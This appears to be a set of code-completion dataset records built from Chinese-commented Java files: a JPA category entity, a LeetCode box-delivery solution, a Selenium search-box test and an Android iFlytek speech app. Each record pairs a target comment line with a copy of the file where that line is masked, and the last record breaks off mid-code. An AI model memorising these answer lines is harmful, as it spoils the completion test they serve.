@GeneratedValue(generator = "UUID") @GenericGenerator(name = "UUID", strategy = "org.hibernate.id.UUIDGenerator") private String id; /** * 分类名 */ private String name; /** * 一个商品分类下面可能有多个商品子分类(多级) 比如 分类 : 家用电器 (子)分类 : 电脑 (孙)子分类 : 笔记本电脑 */ @ManyToOne(fetch = FetchType.LAZY) @JoinColumn(name = "parent_id") @JsonIgnore private Category parent; //父分类 @OneToMany(mappedBy = "parent", fetch = FetchType.LAZY) private Set<Category> children; //子分类集合 public String getId() { return id; } public void setId(String id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public Category getParent() { return parent; } public void setParent(Category parent) { this.parent = parent; } public Set<Category> getChildren() { return children; } public void setChildren(Set<Category> children) { this.children = children; } }
EalenXie/springboot-jpa-N-plus-One
src/main/java/name/ealen/entity/Category.java
743
//四级延伸
line_comment
zh-cn
package name.ealen.entity; import com.fasterxml.jackson.annotation.JsonIgnore; import org.hibernate.annotations.GenericGenerator; import javax.persistence.*; import java.util.Set; /** * Created by EalenXie on 2018/10/16 16:13. * 典型的 多层级 分类 * <p> * :@NamedEntityGraph :注解在实体上 , 解决典型的N+1问题 * name表示实体图名, 与 repository中的注解 @EntityGraph的value属性相对应, * attributeNodes 表示被标注要懒加载的属性节点 比如此例中 : 要懒加载的子分类集合children */ @Entity @Table(name = "jpa_category") @NamedEntityGraphs({ @NamedEntityGraph(name = "Category.findAll", attributeNodes = {@NamedAttributeNode("children")}), @NamedEntityGraph(name = "Category.findByParent", attributeNodes = {@NamedAttributeNode(value = "children", subgraph = "son")}, //一级延伸 subgraphs = {@NamedSubgraph(name = "son", attributeNodes = @NamedAttributeNode(value = "children", subgraph = "grandson")), //二级延伸 @NamedSubgraph(name = "grandson", attributeNodes = @NamedAttributeNode(value = "children", subgraph = "greatGrandSon")), //三级延伸 @NamedSubgraph(name = "greatGrandSon", attributeNodes = @NamedAttributeNode(value = "children"))}) //四级 <SUF> // 有多少次延伸,就有多少个联表关系,自身关联的表设计中,子节点是可以无限延伸的,所以关联数可能查询的..... }) public class Category { /** * Id 使用UUID生成策略 */ @Id @GeneratedValue(generator = "UUID") @GenericGenerator(name = "UUID", strategy = "org.hibernate.id.UUIDGenerator") private String id; /** * 分类名 */ private String name; /** * 一个商品分类下面可能有多个商品子分类(多级) 比如 分类 : 家用电器 (子)分类 : 电脑 (孙)子分类 : 笔记本电脑 */ @ManyToOne(fetch = FetchType.LAZY) @JoinColumn(name = "parent_id") @JsonIgnore private Category parent; //父分类 @OneToMany(mappedBy = "parent", fetch = FetchType.LAZY) private Set<Category> children; //子分类集合 public String getId() { return id; } public void setId(String id) { this.id = id; } public String getName() { return name; } public void setName(String name) { this.name = name; } public Category getParent() { return parent; } public void setParent(Category parent) { this.parent = parent; } public Set<Category> getChildren() { return children; } public void setChildren(Set<Category> children) { this.children = children; } }
0
41467_46
package leetcode.One.Thousand.boxDelivering; //你有一辆货运卡车,你需要用这一辆车把一些箱子从仓库运送到码头。这辆卡车每次运输有 箱子数目的限制 和 总重量的限制 。 // // 给你一个箱子数组 boxes 和三个整数 portsCount, maxBoxes 和 maxWeight ,其中 boxes[i] = [portsi, // weighti] 。 // // // portsi 表示第 i 个箱子需要送达的码头, weightsi 是第 i 个箱子的重量。 // portsCount 是码头的数目。 // maxBoxes 和 maxWeight 分别是卡车每趟运输箱子数目和重量的限制。 // // // 箱子需要按照 数组顺序 运输,同时每次运输需要遵循以下步骤: // // // 卡车从 boxes 队列中按顺序取出若干个箱子,但不能违反 maxBoxes 和 maxWeight 限制。 // 对于在卡车上的箱子,我们需要 按顺序 处理它们,卡车会通过 一趟行程 将最前面的箱子送到目的地码头并卸货。如果卡车已经在对应的码头,那么不需要 额外行程 //,箱子也会立马被卸货。 // 卡车上所有箱子都被卸货后,卡车需要 一趟行程 回到仓库,从箱子队列里再取出一些箱子。 // // // 卡车在将所有箱子运输并卸货后,最后必须回到仓库。 // // 请你返回将所有箱子送到相应码头的 最少行程 次数。 // // // // 示例 1: // // 输入:boxes = [[1,1],[2,1],[1,1]], portsCount = 2, maxBoxes = 3, maxWeight = 3 //输出:4 //解释:最优策略如下: //- 卡车将所有箱子装上车,到达码头 1 ,然后去码头 2 ,然后再回到码头 1 ,最后回到仓库,总共需要 4 趟行程。 //所以总行程数为 4 。 //注意到第一个和第三个箱子不能同时被卸货,因为箱子需要按顺序处理(也就是第二个箱子需要先被送到码头 2 ,然后才能处理第三个箱子)。 // // // 示例 2: // // 输入:boxes = [[1,2],[3,3],[3,1],[3,1],[2,4]], portsCount = 3, maxBoxes = 3, //maxWeight = 6 //输出:6 //解释:最优策略如下: //- 卡车首先运输第一个箱子,到达码头 1 ,然后回到仓库,总共 2 趟行程。 //- 卡车运输第二、第三、第四个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。 //- 卡车运输第五个箱子,到达码头 3 ,回到仓库,总共 2 趟行程。 //总行程数为 2 + 2 + 2 = 6 。 // // // 示例 3: // // 输入:boxes = [[1,4],[1,2],[2,1],[2,1],[3,2],[3,4]], portsCount = 3, maxBoxes = //6, maxWeight = 7 //输出:6 //解释:最优策略如下: //- 卡车运输第一和第二个箱子,到达码头 1 ,然后回到仓库,总共 2 趟行程。 //- 卡车运输第三和第四个箱子,到达码头 2 ,然后回到仓库,总共 2 趟行程。 //- 卡车运输第五和第六个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。 //总行程数为 2 + 2 + 2 = 6 。 // // // 示例 4: // // 输入:boxes = [[2,4],[2,5],[3,1],[3,2],[3,7],[3,1],[4,4],[1,3],[5,2]], //portsCount = 5, maxBoxes = 5, maxWeight = 7 //输出:14 //解释:最优策略如下: //- 卡车运输第一个箱子,到达码头 2 ,然后回到仓库,总共 2 趟行程。 //- 卡车运输第二个箱子,到达码头 2 ,然后回到仓库,总共 2 趟行程。 //- 卡车运输第三和第四个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。 //- 卡车运输第五个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。 //- 卡车运输第六和第七个箱子,到达码头 3 ,然后去码头 4 ,然后回到仓库,总共 3 趟行程。 //- 卡车运输第八和第九个箱子,到达码头 1 ,然后去码头 5 ,然后回到仓库,总共 3 趟行程。 //总行程数为 2 + 2 + 2 + 2 + 3 + 3 = 14 。 // // // // // 提示: // // // 1 <= boxes.length <= 10⁵ // 1 <= portsCount, maxBoxes, maxWeight <= 10⁵ // 1 <= portsi <= portsCount // 1 <= weightsi <= maxWeight // // Related Topics 线段树 队列 数组 动态规划 单调队列 堆(优先队列) 👍 106 👎 0 import java.util.ArrayDeque; import java.util.Deque; /** * @Desc: * @Author: 泽露 * @Date: 2022/12/5 5:22 PM * @Version: 1.initial version; 2022/12/5 5:22 PM */ public class Solution { public int boxDelivering(int[][] boxes, int portsCount, int maxBoxes, int maxWeight) { int n = boxes.length; int[] p = new int[n + 1]; int[] w = new int[n + 1]; int[] neg = new int[n + 1]; long[] W = new long[n + 1]; for (int i = 1; i <= n; ++i) { p[i] = boxes[i - 1][0]; w[i] = boxes[i - 1][1]; if (i > 1) { neg[i] = neg[i - 1] + (p[i - 1] != p[i] ? 1 : 0); } W[i] = W[i - 1] + w[i]; } Deque<Integer> opt = new ArrayDeque<Integer>(); opt.offerLast(0); int[] f = new int[n + 1]; int[] g = new int[n + 1]; for (int i = 1; i <= n; ++i) { while (i - opt.peekFirst() > maxBoxes || W[i] - W[opt.peekFirst()] > maxWeight) { opt.pollFirst(); } f[i] = g[opt.peekFirst()] + neg[i] + 2; if (i != n) { g[i] = f[i] - neg[i + 1]; while (!opt.isEmpty() && g[i] <= g[opt.peekLast()]) { opt.pollLast(); } opt.offerLast(i); } } return f[n]; } }
EarWheat/LeetCode
src/main/java/leetcode/One/Thousand/boxDelivering/Solution.java
1,965
//- 卡车运输第五个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。
line_comment
zh-cn
package leetcode.One.Thousand.boxDelivering; //你有一辆货运卡车,你需要用这一辆车把一些箱子从仓库运送到码头。这辆卡车每次运输有 箱子数目的限制 和 总重量的限制 。 // // 给你一个箱子数组 boxes 和三个整数 portsCount, maxBoxes 和 maxWeight ,其中 boxes[i] = [portsi, // weighti] 。 // // // portsi 表示第 i 个箱子需要送达的码头, weightsi 是第 i 个箱子的重量。 // portsCount 是码头的数目。 // maxBoxes 和 maxWeight 分别是卡车每趟运输箱子数目和重量的限制。 // // // 箱子需要按照 数组顺序 运输,同时每次运输需要遵循以下步骤: // // // 卡车从 boxes 队列中按顺序取出若干个箱子,但不能违反 maxBoxes 和 maxWeight 限制。 // 对于在卡车上的箱子,我们需要 按顺序 处理它们,卡车会通过 一趟行程 将最前面的箱子送到目的地码头并卸货。如果卡车已经在对应的码头,那么不需要 额外行程 //,箱子也会立马被卸货。 // 卡车上所有箱子都被卸货后,卡车需要 一趟行程 回到仓库,从箱子队列里再取出一些箱子。 // // // 卡车在将所有箱子运输并卸货后,最后必须回到仓库。 // // 请你返回将所有箱子送到相应码头的 最少行程 次数。 // // // // 示例 1: // // 输入:boxes = [[1,1],[2,1],[1,1]], portsCount = 2, maxBoxes = 3, maxWeight = 3 //输出:4 //解释:最优策略如下: //- 卡车将所有箱子装上车,到达码头 1 ,然后去码头 2 ,然后再回到码头 1 ,最后回到仓库,总共需要 4 趟行程。 //所以总行程数为 4 。 //注意到第一个和第三个箱子不能同时被卸货,因为箱子需要按顺序处理(也就是第二个箱子需要先被送到码头 2 ,然后才能处理第三个箱子)。 // // // 示例 2: // // 输入:boxes = [[1,2],[3,3],[3,1],[3,1],[2,4]], portsCount = 3, maxBoxes = 3, //maxWeight = 6 //输出:6 //解释:最优策略如下: //- 卡车首先运输第一个箱子,到达码头 1 ,然后回到仓库,总共 2 趟行程。 //- 卡车运输第二、第三、第四个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。 //- 卡车运输第五个箱子,到达码头 3 ,回到仓库,总共 2 趟行程。 //总行程数为 2 + 2 + 2 = 6 。 // // // 示例 3: // // 输入:boxes = [[1,4],[1,2],[2,1],[2,1],[3,2],[3,4]], portsCount = 3, maxBoxes = //6, maxWeight = 7 //输出:6 //解释:最优策略如下: //- 卡车运输第一和第二个箱子,到达码头 1 ,然后回到仓库,总共 2 趟行程。 //- 卡车运输第三和第四个箱子,到达码头 2 ,然后回到仓库,总共 2 趟行程。 //- 卡车运输第五和第六个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。 //总行程数为 2 + 2 + 2 = 6 。 // // // 示例 4: // // 输入:boxes = [[2,4],[2,5],[3,1],[3,2],[3,7],[3,1],[4,4],[1,3],[5,2]], //portsCount = 5, maxBoxes = 5, maxWeight = 7 //输出:14 //解释:最优策略如下: //- 卡车运输第一个箱子,到达码头 2 ,然后回到仓库,总共 2 趟行程。 //- 卡车运输第二个箱子,到达码头 2 ,然后回到仓库,总共 2 趟行程。 //- 卡车运输第三和第四个箱子,到达码头 3 ,然后回到仓库,总共 2 趟行程。 //- <SUF> //- 卡车运输第六和第七个箱子,到达码头 3 ,然后去码头 4 ,然后回到仓库,总共 3 趟行程。 //- 卡车运输第八和第九个箱子,到达码头 1 ,然后去码头 5 ,然后回到仓库,总共 3 趟行程。 //总行程数为 2 + 2 + 2 + 2 + 3 + 3 = 14 。 // // // // // 提示: // // // 1 <= boxes.length <= 10⁵ // 1 <= portsCount, maxBoxes, maxWeight <= 10⁵ // 1 <= portsi <= portsCount // 1 <= weightsi <= maxWeight // // Related Topics 线段树 队列 数组 动态规划 单调队列 堆(优先队列) 👍 106 👎 0 import java.util.ArrayDeque; import java.util.Deque; /** * @Desc: * @Author: 泽露 * @Date: 2022/12/5 5:22 PM * @Version: 1.initial version; 2022/12/5 5:22 PM */ public class Solution { public int boxDelivering(int[][] boxes, int portsCount, int maxBoxes, int maxWeight) { int n = boxes.length; int[] p = new int[n + 1]; int[] w = new int[n + 1]; int[] neg = new int[n + 1]; long[] W = new long[n + 1]; for (int i = 1; i <= n; ++i) { p[i] = boxes[i - 1][0]; w[i] = boxes[i - 1][1]; if (i > 1) { neg[i] = neg[i - 1] + (p[i - 1] != p[i] ? 1 : 0); } W[i] = W[i - 1] + w[i]; } Deque<Integer> opt = new ArrayDeque<Integer>(); opt.offerLast(0); int[] f = new int[n + 1]; int[] g = new int[n + 1]; for (int i = 1; i <= n; ++i) { while (i - opt.peekFirst() > maxBoxes || W[i] - W[opt.peekFirst()] > maxWeight) { opt.pollFirst(); } f[i] = g[opt.peekFirst()] + neg[i] + 2; if (i != n) { g[i] = f[i] - neg[i + 1]; while (!opt.isEmpty() && g[i] <= g[opt.peekLast()]) { opt.pollLast(); } opt.offerLast(i); } } return f[n]; } }
0
46861_2
package JavaBasicAPI; import org.openqa.selenium.By; import org.openqa.selenium.WebDriver; import org.openqa.selenium.WebElement; import org.testng.Assert; import org.testng.annotations.AfterMethod; import org.testng.annotations.BeforeMethod; import org.testng.annotations.Test; import BrowserDrivers.GetBrowserDriver; //10.27 public class GetWebElementAttributeTesting { public WebDriver driver; @Test public void getWebElementAttributeTest() throws InterruptedException { driver.get("http://www.baidu.com"); String text="比利时遭遇恐怖袭击"; WebElement SearchBox = driver.findElement(By.id("kw")); //将搜索框的id实例化 SearchBox.sendKeys(text); String innerText = SearchBox.getAttribute("value"); //调用attribute方法,并获取搜索框value的值(就是搜索文字的内容) Thread.sleep(3000); Assert.assertEquals(innerText, "比利时遭遇恐怖袭击"); } @BeforeMethod public void beforeMethod() { driver = GetBrowserDriver.GetChromeDriver(); } @AfterMethod public void afterMethod() { driver.quit(); } }
Eason0731/MySeleniumCases
src/JavaBasicAPI/GetWebElementAttributeTesting.java
304
//将搜索框的id实例化
line_comment
zh-cn
package JavaBasicAPI; import org.openqa.selenium.By; import org.openqa.selenium.WebDriver; import org.openqa.selenium.WebElement; import org.testng.Assert; import org.testng.annotations.AfterMethod; import org.testng.annotations.BeforeMethod; import org.testng.annotations.Test; import BrowserDrivers.GetBrowserDriver; //10.27 public class GetWebElementAttributeTesting { public WebDriver driver; @Test public void getWebElementAttributeTest() throws InterruptedException { driver.get("http://www.baidu.com"); String text="比利时遭遇恐怖袭击"; WebElement SearchBox = driver.findElement(By.id("kw")); //将搜 <SUF> SearchBox.sendKeys(text); String innerText = SearchBox.getAttribute("value"); //调用attribute方法,并获取搜索框value的值(就是搜索文字的内容) Thread.sleep(3000); Assert.assertEquals(innerText, "比利时遭遇恐怖袭击"); } @BeforeMethod public void beforeMethod() { driver = GetBrowserDriver.GetChromeDriver(); } @AfterMethod public void afterMethod() { driver.quit(); } }
0
38290_63
package com.example.woops.cookit.activity; import android.app.Activity; import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; import android.os.Environment; import android.support.v7.app.AppCompatActivity; import android.util.Log; import android.view.View; import android.widget.EditText; import android.widget.Toast; import com.example.woops.cookit.R; import com.example.woops.cookit.bean.Store; import com.example.woops.cookit.db.CookitDB; import com.example.woops.cookit.test.SpliteGenerate; import com.example.woops.cookit.util.JsonParser; import com.iflytek.cloud.ErrorCode; import com.iflytek.cloud.InitListener; import com.iflytek.cloud.RecognizerListener; import com.iflytek.cloud.RecognizerResult; import com.iflytek.cloud.SpeechConstant; import com.iflytek.cloud.SpeechError; import com.iflytek.cloud.SpeechRecognizer; import com.iflytek.cloud.SpeechSynthesizer; import com.iflytek.cloud.SpeechUtility; import com.iflytek.cloud.SynthesizerListener; /** * 语音转文字类,根据文字识别 */ public class ItaActivity extends AppCompatActivity { //显示框 private EditText mResult; //设置存储容器 private SharedPreferences mSharedPreferences; //设置语音识别对象 private SpeechRecognizer mIat; //迷之Toast,删掉会出现奇怪的错误 private Toast mToast; //后加的内容 // 语音合成对象 private SpeechSynthesizer mTts; //缓冲进度 private int mPercentForBuffering = 0; //播放进度 private int mPercentForPlaying = 0; private String text; private CookitDB mCookit; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_ita); SpeechUtility.createUtility(this, "appid=570b2ef9"); //初始化语音识别对象 mIat = SpeechRecognizer.createRecognizer(this, mInitListener); // 初始化合成对象 mTts = SpeechSynthesizer.createSynthesizer(this, mTtsInitListener); mSharedPreferences = getSharedPreferences("com.iflytek.setting", Activity.MODE_PRIVATE); mToast = Toast.makeText(this, "", Toast.LENGTH_SHORT); //初始化UI initLayout(); //初始化数据库 mCookit = CookitDB.getInstance(this); } private void initLayout() { mResult = (EditText) findViewById(R.id.iat_text); } //设置返回值参数 int ret = 0; //普通的听写功能 public void startClick(View view) { mResult.setText(null); setParams(); ret = mIat.startListening(mRecognizerListener); //貌似没有卵用 if (ret != ErrorCode.SUCCESS) { showTip("听写失败,错误码:" + ret); } else { showTip("请开始BB"); } } //设置跳转至发音Activity按钮 public void ttsClick(View view) { startActivity(new Intent(this, TtsActivity.class)); } //显示数据库 public void readDB(View view){ mCookit.loadDataBaseTest(); } //设置参数 private void setParams() { // 清空参数 mIat.setParameter(SpeechConstant.PARAMS, null); String lag = mSharedPreferences.getString("iat_language_preference", "mandarin"); // 设置引擎 mIat.setParameter(SpeechConstant.ENGINE_TYPE, SpeechConstant.TYPE_CLOUD); // 设置返回结果格式 mIat.setParameter(SpeechConstant.RESULT_TYPE, "json"); if (lag.equals("en_us")) { // 设置语言 mIat.setParameter(SpeechConstant.LANGUAGE, "en_us"); } else { // 设置语言 mIat.setParameter(SpeechConstant.LANGUAGE, "zh_cn"); // 设置语言区域 mIat.setParameter(SpeechConstant.ACCENT, lag); } // 设置语音前端点:静音超时时间,即用户多长时间不说话则当做超时处理 mIat.setParameter(SpeechConstant.VAD_BOS, mSharedPreferences.getString("iat_vadbos_preference", "4000")); // 设置语音后端点:后端点静音检测时间,即用户停止说话多长时间内即认为不再输入, 自动停止录音 mIat.setParameter(SpeechConstant.VAD_EOS, mSharedPreferences.getString("iat_vadeos_preference", "1000")); // 设置标点符号,设置为"0"返回结果无标点,设置为"1"返回结果有标点 mIat.setParameter(SpeechConstant.ASR_PTT, mSharedPreferences.getString("iat_punc_preference", "1")); // 设置音频保存路径,保存音频格式支持pcm、wav,设置路径为sd卡请注意WRITE_EXTERNAL_STORAGE权限 // 注:AUDIO_FORMAT参数语记需要更新版本才能生效 mIat.setParameter(SpeechConstant.AUDIO_FORMAT, "wav"); mIat.setParameter(SpeechConstant.ASR_AUDIO_PATH, Environment.getExternalStorageDirectory() + "/msc/iat.wav"); // 清空参数 mTts.setParameter(SpeechConstant.PARAMS, null); //设置合成 //设置使用云端引擎 mTts.setParameter(SpeechConstant.ENGINE_TYPE, SpeechConstant.TYPE_CLOUD); //设置发音人 mTts.setParameter(SpeechConstant.VOICE_NAME, "xiaoqian"); //设置合成语速 mTts.setParameter(SpeechConstant.SPEED, mSharedPreferences.getString("speed_preference", "50")); //设置合成音调 mTts.setParameter(SpeechConstant.PITCH, mSharedPreferences.getString("pitch_preference", "50")); //设置合成音量 mTts.setParameter(SpeechConstant.VOLUME, mSharedPreferences.getString("volume_preference", "50")); //设置播放器音频流类型 mTts.setParameter(SpeechConstant.STREAM_TYPE, mSharedPreferences.getString("stream_preference", "3")); // 设置播放合成音频打断音乐播放,默认为true mTts.setParameter(SpeechConstant.KEY_REQUEST_FOCUS, "true"); // 设置音频保存路径,保存音频格式支持pcm、wav,设置路径为sd卡请注意WRITE_EXTERNAL_STORAGE权限 // 注:AUDIO_FORMAT参数语记需要更新版本才能生效 mTts.setParameter(SpeechConstant.AUDIO_FORMAT, "wav"); mTts.setParameter(SpeechConstant.TTS_AUDIO_PATH, Environment.getExternalStorageDirectory() + "/msc/tts.wav"); } /** * 初始化监听器。 */ private InitListener mInitListener = new InitListener() { @Override public void onInit(int code) { Log.d("TAG", "SpeechRecognizer init() code = " + code); if (code != ErrorCode.SUCCESS) { showTip("初始化失败,错误码:" + code); } } }; /** * 初始化监听。 */ private InitListener mTtsInitListener = new InitListener() { @Override public void onInit(int code) { Log.d("TAG", "InitListener init() code = " + code); if (code != ErrorCode.SUCCESS) { showTip("初始化失败,错误码:" + code); } else { // 初始化成功,之后可以调用startSpeaking方法 // 注:有的开发者在onCreate方法中创建完合成对象之后马上就调用startSpeaking进行合成, // 正确的做法是将onCreate中的startSpeaking调用移至这里 } } }; private void showTip(final String str) { runOnUiThread(new Runnable() { @Override public void run() { mToast.setText(str); mToast.show(); } }); } /** * 合成回调监听。 */ private SynthesizerListener mTtsListener = new SynthesizerListener() { @Override public void onSpeakBegin() { showTip("开始播放"); } @Override public void onSpeakPaused() { showTip("暂停播放"); } @Override public void onSpeakResumed() { showTip("继续播放"); } @Override public void onBufferProgress(int percent, int beginPos, int endPos, String info) { // 合成进度 mPercentForBuffering = percent; showTip(String.format(getString(R.string.tts_toast_format), mPercentForBuffering, mPercentForPlaying)); } @Override public void onSpeakProgress(int percent, int beginPos, int endPos) { // 播放进度 mPercentForPlaying = percent; showTip(String.format(getString(R.string.tts_toast_format), mPercentForBuffering, mPercentForPlaying)); } @Override public void onCompleted(SpeechError error) { if (error == null) { showTip("播放完成"); } else if (error != null) { showTip(error.getPlainDescription(true)); } } @Override public void onEvent(int eventType, int arg1, int arg2, Bundle obj) { // 以下代码用于获取与云端的会话id,当业务出错时将会话id提供给技术支持人员,可用于查询会话日志,定位出错原因 // 若使用本地能力,会话id为null // if (SpeechEvent.EVENT_SESSION_ID == eventType) { // String sid = obj.getString(SpeechEvent.KEY_EVENT_SESSION_ID); // Log.d(TAG, "session id =" + sid); // } } }; private RecognizerListener mRecognizerListener = new RecognizerListener() { @Override public void onBeginOfSpeech() { // 此回调表示:sdk内部录音机已经准备好了,用户可以开始语音输入 showTip("开始说话"); } @Override public void onError(SpeechError error) { // Tips: // 错误码:10118(您没有说话),可能是录音机权限被禁,需要提示用户打开应用的录音权限。 showTip(error.getPlainDescription(true)); } @Override public void onEndOfSpeech() { // 此回调表示:检测到了语音的尾端点,已经进入识别过程,不再接受语音输入 showTip("结束说话"); text = mResult.getText().toString(); int num = text.length(); if (num >= 6) { //调用分割测试类显示结果 SpliteGenerate mSpliteGenerate = new SpliteGenerate(text); //获取分类处理好的数据实体类 Store mStore = mSpliteGenerate.classification(); if (mStore.getOperate().equals("放入")){ //将数据存入数据库中 mCookit.savaStore(mStore); }else if (mStore.getOperate().equals("拿走")){ mCookit.deleteDataBaseTest(); } //mSpliteGenerate.displayStore(); } Log.d("MY", String.valueOf(num)); mTts.startSpeaking(text, mTtsListener); } @Override public void onResult(RecognizerResult results, boolean isLast) { text = JsonParser.parseIatResult(results.getResultString()); mResult.append(text); mResult.setSelection(mResult.length()); if (isLast) { //TODO 最后的结果 } } @Override public void onVolumeChanged(int volume, byte[] data) { showTip("当前正在说话,音量大小:" + volume); Log.d("TAG", "返回音频数据:" + data.length); } @Override public void onEvent(int eventType, int arg1, int arg2, Bundle obj) { // 以下代码用于获取与云端的会话id,当业务出错时将会话id提供给技术支持人员,可用于查询会话日志,定位出错原因 // 若使用本地能力,会话id为null // if (SpeechEvent.EVENT_SESSION_ID == eventType) { // String sid = obj.getString(SpeechEvent.KEY_EVENT_SESSION_ID); // Log.d(TAG, "session id =" + sid); // } } }; }
Eccolala/BCCookIt
app/src/main/java/com/example/woops/cookit/activity/ItaActivity.java
2,987
// 以下代码用于获取与云端的会话id,当业务出错时将会话id提供给技术支持人员,可用于查询会话日志,定位出错原因
line_comment
zh-cn
package com.example.woops.cookit.activity; import android.app.Activity; import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; import android.os.Environment; import android.support.v7.app.AppCompatActivity; import android.util.Log; import android.view.View; import android.widget.EditText; import android.widget.Toast; import com.example.woops.cookit.R; import com.example.woops.cookit.bean.Store; import com.example.woops.cookit.db.CookitDB; import com.example.woops.cookit.test.SpliteGenerate; import com.example.woops.cookit.util.JsonParser; import com.iflytek.cloud.ErrorCode; import com.iflytek.cloud.InitListener; import com.iflytek.cloud.RecognizerListener; import com.iflytek.cloud.RecognizerResult; import com.iflytek.cloud.SpeechConstant; import com.iflytek.cloud.SpeechError; import com.iflytek.cloud.SpeechRecognizer; import com.iflytek.cloud.SpeechSynthesizer; import com.iflytek.cloud.SpeechUtility; import com.iflytek.cloud.SynthesizerListener; /** * 语音转文字类,根据文字识别 */ public class ItaActivity extends AppCompatActivity { //显示框 private EditText mResult; //设置存储容器 private SharedPreferences mSharedPreferences; //设置语音识别对象 private SpeechRecognizer mIat; //迷之Toast,删掉会出现奇怪的错误 private Toast mToast; //后加的内容 // 语音合成对象 private SpeechSynthesizer mTts; //缓冲进度 private int mPercentForBuffering = 0; //播放进度 private int mPercentForPlaying = 0; private String text; private CookitDB mCookit; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_ita); SpeechUtility.createUtility(this, "appid=570b2ef9"); //初始化语音识别对象 mIat = SpeechRecognizer.createRecognizer(this, mInitListener); // 初始化合成对象 mTts = SpeechSynthesizer.createSynthesizer(this, mTtsInitListener); mSharedPreferences = getSharedPreferences("com.iflytek.setting", Activity.MODE_PRIVATE); mToast = Toast.makeText(this, "", Toast.LENGTH_SHORT); //初始化UI initLayout(); //初始化数据库 mCookit = CookitDB.getInstance(this); } private void initLayout() { mResult = (EditText) findViewById(R.id.iat_text); } //设置返回值参数 int ret = 0; //普通的听写功能 public void startClick(View view) { mResult.setText(null); setParams(); ret = mIat.startListening(mRecognizerListener); //貌似没有卵用 if (ret != ErrorCode.SUCCESS) { showTip("听写失败,错误码:" + ret); } else { showTip("请开始BB"); } } //设置跳转至发音Activity按钮 public void ttsClick(View view) { startActivity(new Intent(this, TtsActivity.class)); } //显示数据库 public void readDB(View view){ mCookit.loadDataBaseTest(); } //设置参数 private void setParams() { // 清空参数 mIat.setParameter(SpeechConstant.PARAMS, null); String lag = mSharedPreferences.getString("iat_language_preference", "mandarin"); // 设置引擎 mIat.setParameter(SpeechConstant.ENGINE_TYPE, SpeechConstant.TYPE_CLOUD); // 设置返回结果格式 mIat.setParameter(SpeechConstant.RESULT_TYPE, "json"); if (lag.equals("en_us")) { // 设置语言 mIat.setParameter(SpeechConstant.LANGUAGE, "en_us"); } else { // 设置语言 mIat.setParameter(SpeechConstant.LANGUAGE, "zh_cn"); // 设置语言区域 mIat.setParameter(SpeechConstant.ACCENT, lag); } // 设置语音前端点:静音超时时间,即用户多长时间不说话则当做超时处理 mIat.setParameter(SpeechConstant.VAD_BOS, mSharedPreferences.getString("iat_vadbos_preference", "4000")); // 设置语音后端点:后端点静音检测时间,即用户停止说话多长时间内即认为不再输入, 自动停止录音 mIat.setParameter(SpeechConstant.VAD_EOS, mSharedPreferences.getString("iat_vadeos_preference", "1000")); // 设置标点符号,设置为"0"返回结果无标点,设置为"1"返回结果有标点 mIat.setParameter(SpeechConstant.ASR_PTT, mSharedPreferences.getString("iat_punc_preference", "1")); // 设置音频保存路径,保存音频格式支持pcm、wav,设置路径为sd卡请注意WRITE_EXTERNAL_STORAGE权限 // 注:AUDIO_FORMAT参数语记需要更新版本才能生效 mIat.setParameter(SpeechConstant.AUDIO_FORMAT, "wav"); mIat.setParameter(SpeechConstant.ASR_AUDIO_PATH, Environment.getExternalStorageDirectory() + "/msc/iat.wav"); // 清空参数 mTts.setParameter(SpeechConstant.PARAMS, null); //设置合成 //设置使用云端引擎 mTts.setParameter(SpeechConstant.ENGINE_TYPE, SpeechConstant.TYPE_CLOUD); //设置发音人 mTts.setParameter(SpeechConstant.VOICE_NAME, "xiaoqian"); //设置合成语速 mTts.setParameter(SpeechConstant.SPEED, mSharedPreferences.getString("speed_preference", "50")); //设置合成音调 mTts.setParameter(SpeechConstant.PITCH, mSharedPreferences.getString("pitch_preference", "50")); //设置合成音量 mTts.setParameter(SpeechConstant.VOLUME, mSharedPreferences.getString("volume_preference", "50")); //设置播放器音频流类型 mTts.setParameter(SpeechConstant.STREAM_TYPE, mSharedPreferences.getString("stream_preference", "3")); // 设置播放合成音频打断音乐播放,默认为true mTts.setParameter(SpeechConstant.KEY_REQUEST_FOCUS, "true"); // 设置音频保存路径,保存音频格式支持pcm、wav,设置路径为sd卡请注意WRITE_EXTERNAL_STORAGE权限 // 注:AUDIO_FORMAT参数语记需要更新版本才能生效 mTts.setParameter(SpeechConstant.AUDIO_FORMAT, "wav"); mTts.setParameter(SpeechConstant.TTS_AUDIO_PATH, Environment.getExternalStorageDirectory() + "/msc/tts.wav"); } /** * 初始化监听器。 */ private InitListener mInitListener = new InitListener() { @Override public void onInit(int code) { Log.d("TAG", "SpeechRecognizer init() code = " + code); if (code != ErrorCode.SUCCESS) { showTip("初始化失败,错误码:" + code); } } }; /** * 初始化监听。 */ private InitListener mTtsInitListener = new InitListener() { @Override public void onInit(int code) { Log.d("TAG", "InitListener init() code = " + code); if (code != ErrorCode.SUCCESS) { showTip("初始化失败,错误码:" + code); } else { // 初始化成功,之后可以调用startSpeaking方法 // 注:有的开发者在onCreate方法中创建完合成对象之后马上就调用startSpeaking进行合成, // 正确的做法是将onCreate中的startSpeaking调用移至这里 } } }; private void showTip(final String str) { runOnUiThread(new Runnable() { @Override public void run() { mToast.setText(str); mToast.show(); } }); } /** * 合成回调监听。 */ private SynthesizerListener mTtsListener = new SynthesizerListener() { @Override public void onSpeakBegin() { showTip("开始播放"); } @Override public void onSpeakPaused() { showTip("暂停播放"); } @Override public void onSpeakResumed() { showTip("继续播放"); } @Override public void onBufferProgress(int percent, int beginPos, int endPos, String info) { // 合成进度 mPercentForBuffering = percent; showTip(String.format(getString(R.string.tts_toast_format), mPercentForBuffering, mPercentForPlaying)); } @Override public void onSpeakProgress(int percent, int beginPos, int endPos) { // 播放进度 mPercentForPlaying = percent; showTip(String.format(getString(R.string.tts_toast_format), mPercentForBuffering, 